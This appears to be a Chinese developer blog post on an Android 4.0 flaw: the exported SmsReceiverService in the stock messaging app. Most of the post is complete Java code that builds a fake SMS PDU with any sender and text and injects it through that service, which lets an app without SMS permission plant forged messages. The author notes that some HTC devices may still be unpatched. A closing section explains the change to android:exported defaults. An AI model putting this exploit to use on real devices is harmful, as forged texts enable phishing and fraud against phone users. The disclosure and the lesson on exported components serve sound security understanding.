Android系统的阿基里斯之踵:伪造短信篇

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

  1. <service android:name=".transaction.SmsReceiverService"  android:exported="true" />

android:exported=”true”,意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,  
        String body) {  
    byte[] pdu = null;  
    byte[] scBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD("0000000000");  
    byte[] senderBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD(sender);  
    int lsmcs = scBytes.length;  
    // 时间处理,包括年月日时分秒以及时区和夏令时  
    byte[] dateBytes = new byte[7];  
    Calendar calendar = new GregorianCalendar();  
    dateBytes[0] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
    dateBytes[1] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.DAY_OF_MONTH)));  
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.HOUR_OF_DAY)));  
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.MINUTE)));  
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.SECOND)));  
    dateBytes[6] = SmsUtil  
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
    try {  
        ByteArrayOutputStream bo = new ByteArrayOutputStream();  
        bo.write(lsmcs);// 短信服务中心长度  
        bo.write(scBytes);// 短信服务中心号码  
        bo.write(0x04);  
        bo.write((byte) sender.length());// 发送方号码长度  
        bo.write(senderBytes);// 发送方号码  
        bo.write(0x00);// 协议标示,00为普通GSM,点对点方式  
        try {  
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
            Class<?> cReflectedNFCExtras = Class  
                    .forName(sReflectedClassName);  
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                    "stringToGsm7BitPacked", new Class[] { String.class });  
            stringToGsm7BitPacked.setAccessible(true);  
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                    body);  

            bo.write(0x00); // encoding: 0 for default 7bit  
            bo.write(dateBytes);  
            bo.write(bodybytes);  
        } catch (Exception e) {  
            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  
            // 下面是UCS-2编码的处理,中文短信就需要用此种方式  
            bo.write(0x08); // encoding: 8 for UCS-2  
            bo.write(dateBytes);  
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的  
            // 源码具体位置在  
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  
        }  

        pdu = bo.toByteArray();  
    } catch (IOException e) {  
        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  
    }  
    // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!  
    Intent intent = new Intent();  
    intent.setClassName("com.android.mms",  
            "com.android.mms.transaction.SmsReceiverService");  
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
    intent.putExtra("pdus", new Object[] { pdu });  
    intent.putExtra("format", "3gpp");  
    context.startService(intent);  
}  

public static byte reverseByte(byte b) {  
    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

  1. // User Data (and length)  
    byte[] userData;  
    try {  
        if (encoding == ENCODING_7BIT) {  
            userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,  
                    languageTable, languageShiftTable);  
        } else { //assume UCS-2  
            try {  
                userData = encodeUCS2(message, header);  
            } catch(UnsupportedEncodingException uex) {  
                Log.e(LOG_TAG,  
                        "Implausible UnsupportedEncodingException ",  
                        uex);  
                return null;  
            }  
        }  
    } catch (EncodeException ex) {  
        // Encoding to the 7-bit alphabet failed. Let&#039;s see if we can  
        // send it as a UCS-2 encoded message  
        try {  
            userData = encodeUCS2(message, header);  
            encoding = ENCODING_16BIT;  
        } catch(UnsupportedEncodingException uex) {  
            Log.e(LOG_TAG,  
                    "Implausible UnsupportedEncodingException ",  
                    uex);  
            return null;  
        }  
    }

先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码

 

下面附上encodeUCS2代码

  1. /** 
     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if 
     * necessary 
     *  
     * @return 
     * @throws UnsupportedEncodingException 
     */  
    public static byte[] encodeUCS2(String message, byte[] header)  
            throws UnsupportedEncodingException {  
        byte[] userData, textPart;  
        textPart = message.getBytes("utf-16be");  
    
        if (header != null) {  
            // Need 1 byte for UDHL  
            userData = new byte[header.length + textPart.length + 1];  
    
            userData[0] = (byte) header.length;  
            System.arraycopy(header, 0, userData, 1, header.length);  
            System.arraycopy(textPart, 0, userData, header.length + 1,  
                    textPart.length);  
        } else {  
            userData = textPart;  
        }  
        byte[] ret = new byte[userData.length + 1];  
        ret[0] = (byte) (userData.length & 0xff);  
        System.arraycopy(userData, 0, ret, 1, userData.length);  
        return ret;  
    }

现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……

 

另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.

这意味着什么呢?

之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

这是时候,我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒

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